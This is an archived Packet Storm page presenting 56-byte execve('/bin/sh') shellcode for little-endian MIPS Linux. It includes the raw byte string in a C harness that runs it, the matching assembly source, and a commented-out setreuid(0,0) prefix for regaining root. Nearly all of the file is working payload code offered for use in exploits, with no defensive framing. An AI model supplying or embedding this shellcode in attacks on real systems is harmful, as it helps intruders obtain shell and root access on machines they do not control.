exploit the possibilities

linux-mipsel-execve-core.c

linux-mipsel-execve-core.c
Posted Nov 8, 2005
Authored by Charles Stevenson | Site bokeoa.com

56 bytes execve /bin/sh shellcode for Linux MIPS running in little-endian mode. linux-mipsel-execve-core.s is appended.

tags | shellcode
systems | linux
MD5 | 924828f3f085011943092bd1f3153944

linux-mipsel-execve-core.c

Change Mirror Download
/* 56 bytes execve /bin/sh shellcode - linux-mipsel
* - by core (core@bokeoa.com)
*
* Note: For MIPS running in little-endian mode.
* Tested on a Cobalt Qube2 server running Linux 2.4.18
*
* Greetz to bighawk... i couldn't get his execve to work
* for some reason :/
*/

char code[] =
/* 16 byte setreuid(0,0) by bighawk */
//"\xff\xff\x04\x30\xff\xff\x05\x30"
//"\xe6\x0f\x02\x34\xcc\x48\x49\x03"

/* 56 byte execve("/bin/sh",["/bin/sh"],[]) by core */
"\xff\xff\x10\x04\xab\x0f\x02\x24"
"\x55\xf0\x46\x20\x66\x06\xff\x23"
"\xc2\xf9\xec\x23\x66\x06\xbd\x23"
"\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
"\x9a\xf9\xbd\x23\x21\x20\x80\x01"
"\x21\x28\xa0\x03\xcc\xcd\x44\x03"
"/bin/sh";

main() {
void (*a)() = (void *)code;
printf("size: %d bytes\n", sizeof(code));
a();
}
#;;; MIPS (Little Endian) Linux Execve /bin/sh Shellcode
#;;;
#;;; by Charles 'core' Stevenson <core@bokeoa.com>
#;;;
#;;; Greetz: bighawk, 0dd, #social (pulltheplug.org), #de (dievo.org)

.globl main

main:
.long 0x0410ffff
li $2, 4011
addi $6, $2, -4011
addi $31, $31, 0x666
sub $12, $31, 0x666 - 40
addi $29, $29, 0x666
sw $12, -0x666($29)
sw $6, -0x666+4($29)
sub $29, $29, 0x666
move $4, $12
move $5, $29
syscall 0xd1337
.ascii "/bin/sh"

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    6 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close